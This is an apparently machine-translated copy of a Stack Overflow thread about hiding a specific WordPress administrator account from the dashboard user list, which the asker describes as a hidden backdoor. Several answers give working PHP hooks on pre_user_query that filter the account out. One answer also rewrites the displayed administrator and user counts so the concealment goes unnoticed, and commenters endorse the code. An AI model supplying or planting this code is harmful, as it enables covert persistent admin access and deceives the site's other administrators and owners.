Ausblenden eines bestimmten Administratorkontos aus der WordPress-Benutzerliste

Lesezeit: 4 Minuten

Ich möchte einen Admin-Benutzer in WordPress erstellen und ihn dann als eine Art versteckte Hintertür aus der Benutzerliste im WordPress-Dashboard ausblenden. Ich versuche nicht, alle Admins zu verstecken, nur einen bestimmten.

Jede Hilfe wird sehr geschätzt.

Sie können dies mit einer benutzerdefinierten Funktion in Ihrem tun functions.php. Hier ist ein Beispiel :

add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
  global $current_user;
  $username = $current_user->user_login;

  if ($username == '<USERNAME OF OTHER ADMIN>') { 
    global $wpdb;
    $user_search->query_where = str_replace('WHERE 1=1',
      "WHERE 1=1 AND {$wpdb->users}.user_login != '<YOUR USERNAME>'",$user_search->query_where);
  }
}

Oder Sie können dafür ein Plugin verwenden; http://wordpress.org/plugins/user-role-editor/

  • wie man einen Admin-Benutzer mit diesem Plugin verbirgt

    – ReNiSh AR

    4. Juni 2014 um 15:55 Uhr

  • Ich bin mir nicht sicher, warum diese Antwort nicht als richtige Antwort ausgewählt wurde. Da ich die gleichen Anforderungen wie das OP habe und diese Lösung zusammen mit dem Vorschlag von “user3474007” mir genau das gab, was ich brauchte. Danke mann 🙂

    – Erwarte Umar

    29. Dezember 2015 um 21:26 Uhr

Ausblenden eines bestimmten Administratorkontos aus der WordPress Benutzerliste
Erwarte Umar

Kombination der Antwort von “angezanetti”die Frage nach “Natalia” und die Antwort von “user3474007” Für Natalia wird dieser Code den Benutzer vor allen anderen Benutzern (einschließlich Administratoren) verbergen.

add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
  global $current_user;
  $username = $current_user->user_login;

  if ($username != 'hiddenuser') { 
    global $wpdb;
    $user_search->query_where = str_replace('WHERE 1=1',
      "WHERE 1=1 AND {$wpdb->users}.user_login != 'hiddenuser'",$user_search->query_where);
  }
}

  • tut Natalias Kommentar bzgl wp_user_query müssen in diesen von Ihnen bereitgestellten Code integriert werden? Ich habe an anderer Stelle online ähnliche Kommentare gesehen, in denen angegeben wurde, dass ~pre_user_query` durch ersetzt werden sollte wp_user_query.

    – inspiriertnz

    11. Juli 2016 um 16:11 Uhr

  • Zusätzlich zu meinem obigen Kommentar habe ich diesen Code getestet und er funktioniert perfekt so wie er ist. Übrigens eine geniale Lösung. Danke. Markiere es.

    – inspiriertz

    11. Juli 2016 um 16:27 Uhr

  • Ich denke, die Antwort von “user1032559” ist die beste Lösung, da sie auch die Benutzeranzahl anpasst.

    – WilliamAlexander

    2. Juli 2019 um 21:26 Uhr

1645919347 319 Ausblenden eines bestimmten Administratorkontos aus der WordPress Benutzerliste
Benutzer1032559

Es gibt eine sehr gute Lösung von angezanettiaber auch wann versteckter Benutzer aus der Administratorenliste ausgeblendet ist, bleibt die Gesamtzahl der angezeigten Administratoren unverändert und kann für jemanden verdächtig sein. Ich habe den Code mitgenommen Symbolwdd und Zeilen für korrekt angezeigte Anzahl von Admins hinzugefügt:

add_action('pre_user_query','dt_pre_user_query');
function dt_pre_user_query($user_search) {
   global $current_user;
   $username = $current_user->user_login;

   if ($username != 'hiddenuser') {
      global $wpdb;
      $user_search->query_where = str_replace('WHERE 1=1',
         "WHERE 1=1 AND {$wpdb->users}.user_login != 'hiddenuser'",$user_search->query_where);
   }
}

add_filter("views_users", "dt_list_table_views");
function dt_list_table_views($views){
   $users = count_users();
   $admins_num = $users['avail_roles']['administrator'] - 1;
   $all_num = $users['total_users'] - 1;
   $class_adm = ( strpos($views['administrator'], 'current') === false ) ? "" : "current";
   $class_all = ( strpos($views['all'], 'current') === false ) ? "" : "current";
   $views['administrator'] = '<a href="https://stackoverflow.com/questions/20922108/users.php?role=administrator" class="' . $class_adm . '">' . translate_user_role('Administrator') . ' <span class="count">(' . $admins_num . ')</span></a>';
   $views['all'] = '<a href="users.php" class="' . $class_all . '">' . __('All') . ' <span class="count">(' . $all_num . ')</span></a>';
   return $views;
}

  • Ich denke, es wäre zukunftssicherer, wenn Sie “minus eins” programmieren könnten, anstatt dieser festen Nummer. Was ist, wenn ein Benutzer neue Konten hinzufügt?

    – Alex Reds

    6. Juni 2017 um 22:19 Uhr

  • Ich habe den Code aktualisiert, jetzt macht er die ganze Arbeit richtig.

    – Benutzer1032559

    9. Juni 2017 um 5:34 Uhr

  • Dies ist die beste Antwort – wichtig, um die Benutzeranzahl auch für Benutzer zu ändern. Ich habe es leicht geändert, indem ich den Filter in die if-Anweisung in der Funktion verschoben habe, sodass die Anzahl nur reduziert wird, wenn jemand anderes als der versteckte Benutzer der aktuelle Benutzer ist.

    – WilliamAlexander

    2. Juli 2019 um 21:19 Uhr

  • Sogar besser als die Lösung, die ich zuvor markiert habe. Markieren Sie Ihre. Vielen Dank für das Teilen dieser Lösung.

    – inspiriertnz

    24. Oktober 2019 um 2:23 Uhr

Ich weiß, ein altes Thema, aber jemand hat mir heute diesen Link geschickt.

Ein Update: Der Haken ist nicht mehr pre_user_query ABER wp_user_query stattdessen.

Außerdem verstecken Sie mit dieser Methode Ihr Konto nur vor diesem bestimmten Administratorkonto. Nicht alle. Was ist, wenn später ein weiterer Administrator hinzugefügt wird?

Was ich tun würde, ist, das “geheime” Konto vor jedem zu verbergen, außer vor sich selbst (um es bearbeiten zu können).

@Natalia – Wenn Sie alle anderen Administratoren blockieren möchten, um Ihr Konto zu sehen, ändern Sie einfach

if ($username == '<USERNAME OF OTHER ADMIN>') { 

mit

if ($username != '<YOUR USERNAME>') { 

Auf diese Weise verstecken Sie Ihr Konto vor allen anderen Konten außer Ihrem.

869610cookie-checkAusblenden eines bestimmten Administratorkontos aus der WordPress-Benutzerliste

This website is using cookies to improve the user-friendliness. You agree by using the website further.

Privacy policy